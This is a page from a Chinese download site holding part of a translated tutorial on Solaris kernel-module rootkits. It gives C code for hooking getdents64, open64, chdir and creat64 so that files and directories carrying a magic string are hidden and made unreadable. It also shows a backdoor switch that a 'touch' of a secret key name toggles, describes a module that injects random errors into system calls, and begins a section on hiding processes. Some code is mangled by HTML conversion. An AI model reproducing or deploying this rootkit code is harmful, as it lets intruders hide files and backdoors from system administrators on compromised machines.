⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 373.html

📁 关于jsp的一些好文章 主要介绍一些关于JSP的应用技巧方面的东西
💻 HTML
📖 第 1 页 / 共 3 页
字号:
<br>kmem_alloc(9F), copyin(9F) and copyout(9F). <br><br>下面给出一个简单的例子: <br>/* 以KM_SLEEP方式分配256个字节内核空间 */ <br>name = (char *) kmem_alloc(256, KM_SLEEP); <br>/* 从filename(用户空间)中拷贝256字节内容到name中(内核空间) */ <br>copyin(filename, name, 256); <br>/* 如果name与oldcmd内容一致 ,则将newcmd(内核空间)内容拷贝到 <br>filename(用户空间)中去 <br>*/ <br>if (!strcmp(name, (char *) oldcmd)) { <br>copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1); <br>cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd, name); <br>} <br>    如果你不需要分配内核空间,比如你只是想比较一些值,你也可以用memcpy()函数.但memcpy在Ultra Sparc平台下并不工作.用copyinstr()来从用户空间将以空字符终止的字符串拷贝到内核空间中,然后你就可以比较它们了.copyinstr的函数原型是:<br><br>copyinstr(char *src, char *dst, size_t n, size_t n) <br>--&gt; 模块: anm.c <br>    在slkm-1.0.tar.gz中包含的anm.c(Administrator's NightMare)模块并不是个很有用的模组.它只是在调用下列系统调用:execve(),open64(),read()时随机产生一些系统错误.随机错误的范围可以通过下面三个变量来设定:<br><br>int open_rate = 200; <br>int read_rate = 8000; <br>int exec_rate = 400; <br>    这些值已经在一台工作站上测试过了.整个系统工作正常,只是不时的会产生一些小错误,使得它看起来象一台糟糕的廉价Solaris(当然其实不是).<br><br>    为了激活或者禁止这些错误显示,我提供了一个开关.在5.3小节中我会详细解释.当模块被装入以后,可以通过在命令行中输入"touch my_stupid_key"命令来切换开关.<br><br>    这个命令来激活/禁止anm.c中的函数.如果你使用了正确的key(它在模块中定义),你就会得到一个错误信息而不时产生一个"my_stupid_key"文件.<br><br>------------------------------------------------------------------------------- <br>5 利用模块创建"后门" <br>    这里采用的一些"后门"方法大都来源于plaguez的itf.c程序和pragmatic写的Linux模块的文章.其中的一些可以象原来那样直接使用,另外一些需要重写.如果你仔细看slkm-1.0.tar.gz中的sitf0.1.c和sitf0.2.c程序,你会找到一些在本文中未提到的后门.这些函数可以毫无问题的从Linux或者FreeBSD模块中移植过来.我认为它们已经在其他的几篇文章中被仔细讨论过了,这里就不再赘述了.<br><br>5.1 从getdents64()中隐藏文件 <br>    如果你跟踪一下ls或者du这样的命令,你会发现在Solaris系统使用getdents64()系统调用来接收目录的内容信息.因此我仔细研究了plaguez的修改getdents()调用隐藏文件的实现方法.我发现通过getdents64()得到目录内容比在Linux下更容易,而且不必在乎用户和内核空间.我简单的修改了他的代码,让它也能用于getdents64()和dirent64结构.有关getdents64()调用和它的结构的细节在下列Solaris man手册页中:<br><br>    getdent(2), dirent(4)记住你不得不使用64位的变量,只要看看/usr/include/sys/dirent.h,你就会找到你要的东西.<br><br>    我们的伪getdents64()调用的最终版内容如下:<br><br>    /* 定义MAGIC字符串,所有文件名中包含这个字符串的文件将不被显示 */<br><br>#define MAGIC "CHT.THC" <br>char magic[] = MAGIC; <br>[...] <br>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte) <br>{ <br>int ret, oldret, i, reclen; <br>struct dirent64 *buf2, *buf3;/* 定义两个dirent64型的结构指针 */ <br>/* 执行原来的getdents64,得到返回值 */ <br>oldret = (*oldgetdents64) (fildes, buf, nbyte); <br>ret = oldret; <br>if (ret &gt; 0) { /* 如果有内容返回的话 */ <br>/* 在内核中分配ret字节的空间 */ <br>buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP); <br>/* 从buf(用户空间)拷贝ret字节的内容到buf2(内核空间) */ <br>copyin((char *) buf, (char *) buf2, ret); <br>/* buf3指向buf2 */ <br>buf3 = buf2; <br>i = ret; <br>while (i &gt; 0) { <br>/* 得到当前目录项的长度 */ <br>reclen = buf3-&gt;d_reclen; <br>/* 减去当前目录项长度 */ <br>i -= reclen; <br>/* 检查当前文件/目录名是否包含MAGIC字符串 */ <br>if (strstr((char *) &amp;(buf3-&gt;d_name), (char *) &amp;magic) != NULL) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3-&gt;d_name); <br>#endif <br>if (i != 0) <br>/* 如果不是最后一个目录项,将后面的目录项拷贝到buf3开头 */ <br>memmove(buf3, (char *) buf3 + buf3-&gt;d_reclen, i); <br>else <br>/* 将距下一个目录项的距离设置为1024 */ <br>buf3-&gt;d_off = 1024; <br>/* 总长度减去当前目录项的长度 */ <br>ret -= reclen; <br>} <br>/* <br>* most people implement this little check into their modules, <br>* don't ask me, if some of the solaris fs driver modules really <br>* generate a d_reclen=0. <br>* correction: this code is needed for solaris sparc at least, <br>* otherwise you`ll find yourself back in a world of crashes. <br>*/ <br>if (buf3-&gt;d_reclen &lt;1) { ret i="0;" } if (i !="0)" /* buf3往后移动一条记录 */ buf3="(struct" dirent64 *) ((char *) buf3 + buf3-&gt;d_reclen);<br><br>} <br>/* 将buf2(内核空间)中的内容拷贝到buf(用户空间)中 */ <br>copyout((char *) buf2, (char *) buf, ret); <br>/* 释放buf2 */ <br>kmem_free(buf2, oldret); <br>} <br>/* 返回目录项总长度 */ <br>return ret; <br>} <br>    dirent结构看起来有点复杂,理解这段代码代码可能并不太容易,不过Linux也有dirent结构的信息,仔细阅读man手册以及相关的头文件,应该可以弄明白的,这里我就不再更详细的谈了.这里仍然有点小问题,如果MAGIC字符串在文件名中出现不止一次,这个模块工作就不能正常工作了,看起来strstr()函数在内核中工作时会有点问题.我计划在本文的第二版中解决这个问题.<br><br>5.2 隐藏目录和文件内容 <br>    这个主意来自pragamatic写的那篇关于Linux 内核模块的文章.如果我们的文件已经用5.2中的方法隐藏,尽管它们不能被列出,但仍然可以被人访问,目录也可以进入(如果别人知道它们的名字的话).如果我不想让别人看我的文件的内容,也不想别人进入我的隐含目录,我就会打开一个开关.(这个开关的设定将在5.3中祥述).<br><br>    Solaris下系统调用open64()被用来打开文件供读写(该文件必须不是在/proc目录内的).如果要被打开的文件名中包含有我们的MAGIC字符串,并且设置了安全标志的话,我们的伪系统调用就会返回这样一个错误信息:"No such file or directory". <br><br>#define MAGIC "CHT.THC" <br>char magic[] = MAGIC; <br>int security = FALSE; /* 设置安全开关 */ <br>[...] <br>/* 我们的新系统调用open64() */ <br>int newopen64(const char *path, int oflag, mode_t mode) <br>{ <br>int ret; <br>int len; <br>char namebuf[1028]; <br><br>/* 得到旧系统调用的返回值 */ <br>ret = oldopen64(path, oflag, mode); <br><br>if (ret &gt;= 0) { <br>/* 将文件的全路径名复制到内核中 */ <br>copyinstr(path, namebuf, 1028, (size_t *) &amp; len); <br>/* 检查是否security标志为真,且文件名中包含MAGIC字符串 */ <br>if (security &amp;&amp; strstr(namebuf, (char *) &amp;magic) != NULL) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf); <br>#endif <br>/* 如果条件满足,设置假的出错信息,告知没有此文件或目录 */ <br>set_errno(ENOENT); <br>return -1; <br>} <br>return ret; <br>} <br>} <br>    系统调用chdir()用来改变当前目录.如果任何人试图进入一个包含magic字符串的目录,并且security标志又被设置了的话,我们的伪chdir()调用就将返回错误信息:<br><br>"No such file or directory" <br>int newchdir(const char *path) <br>{ <br>char namebuf[1028]; <br>int len; <br>copyinstr(path, namebuf, 1028, (size_t *) &amp; len); <br><br>if (security &amp;&amp; strstr(namebuf, (char *) &amp;magic) != NULL) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE, "sitf: hiding directory (%s)", namebuf); <br>#endif <br>set_errno(ENOENT); <br>return -1; <br>} else <br>return oldchdir(path); <br>} <br>    这两个函数与getdents64()一起可以保护所有你想隐藏的目录和文件,包括它们的内容.但是,如果你想方便的访问已经隐藏的文件,必须得有一个开关来切换文件的状态.<br><br>我们在第5.3小节中提供了一个远程开关的例子. <br>5.3 创建一个后门开关 <br>    在调查了一些常用的命令行程序后,我选择了/usr/bin/touch程序.它使用系统调用creat64().我发现这是放置一个后门开关的好地方.例如通过设置5.2小节中讲的security标志,这个开关可以打开或者关闭我们的模块.当然这不是真正安全的开关,因为系统管理员可能会监视你的一举一动,并发现你的可疑的touch调用.<br><br>首先我们必须定义一个关键字,它可以帮助我们打开或者关闭开关. <br>#define KEY "mykey" /* 定义 "mykey" 为关键字 */ <br>char key[] = KEY; <br>[...] <br>int newcreat64(const char *path, mode_t mode) <br>{ <br>char namebuf[1028]; <br>int len; <br>copyinstr(path, namebuf, 1028, (size_t *) &amp; len); <br>/* 检查是否文件名中包含关键字 */ <br>if (strstr(namebuf, (char *) &amp;key) != NULL) { <br>if (security) { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE, "sitf: disabeling security"); <br>#endif <br>/* 如果security变量原来是TRUE,将它设置成FALSE,关闭开关 */ <br>security = FALSE; <br>} else { <br>#ifdef DEBUG <br>cmn_err(CE_NOTE, "sitf: enabeling security"); <br>#endif <br>/* 否则设置为TRUE,打开开关 */ <br>security = TRUE; <br>} <br>/* 设置无此文件的错误信息 */ <br>set_errno(ENFILE); <br>/* 返回一个错误 */ <br>return -1; <br>} else <br>/* 如果条件不成立就返回正确结果 */ <br>return oldcreat64(path, mode); <br>} <br>    当使用touch命令时,creat64()被调用.我们的伪creat64()函数先检查是否文件名中包含我们的关键字,然后打开或者关闭security标志.为了告诉我们是否开关切换成功,我们返回一个错误信息.(ENFILE,显示系统文件表已满).我想这是个很少碰到的错误信息.<br><br>    5.4 隐藏进程 (利用proc文件系统) <br>    在我注意到Solaris的proc结构之间,我找到了一种很基本的办法来使文件不被列出.这段代码仅仅是作为一个例子,因为它将耗费很多的CPU资源.<br><br>    当用户执行ps或者top的时候,这些工具将从proc文件系统中读取数据,并返回它们的内容.保存有每个进程的相关信息的文件是psinfo.它保存在每个进程的目录下,例如/proc//psinfo,这个文件的内容在/usr/include/sys/procfs.h中有详细介绍<br><br>typedef struct psinfo { <br>int pr_flag; /* 进程标志 */ <br>int pr_nlwp; /* 进程中的lwps序号 */ <br>pid_t pr_pid; /* 进程id */ <br>pid_t pr_ppid; /* 父进程id */ <br>pid_t pr_pgid; /* 进程组id */ <br>pid_t pr_sid; /* 会话id */ <br>uid_t pr_uid; /* 真实用户id */ <br>[...] <br><br>char pr_psargs[PRARGSZ]; /* 参数表的初始化字符串 */ <br>int pr_wstat; /* 精灵进程的wait()状态 */ <br>int pr_argc; /* 初始参数的数目 */ <br>uintptr_t pr_argv; /* 参数向量的地址 */ <br>uintptr_t pr_envp; /* 环境向量的地址 */ <br>char pr_dmodel; /* 进程的数据模型 */ <br>char pr_pad2[3]; <br>int pr_filler[7]; /* 保留区域 */ <br>lwpsinfo_t pr_lwp; /* 典型lwp的信息*/ <br>} psinfo_t; <br>    psinfo_t结构的字节数是固定的.结构成员pr_psargs含有可执行文件的名字以及参数.当文件名为"psinfo"时,我们的伪open()调用就会设置一个特殊的标志,通知接下来要读取这个文件的read()调用.需要注意的是,在Solaris中,访问/proc文件系统使用open()系统调用而不是open64()调用.<br><br>#define MAGIC "CHT.THC" <br>char magic[] = MAGIC; <br>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -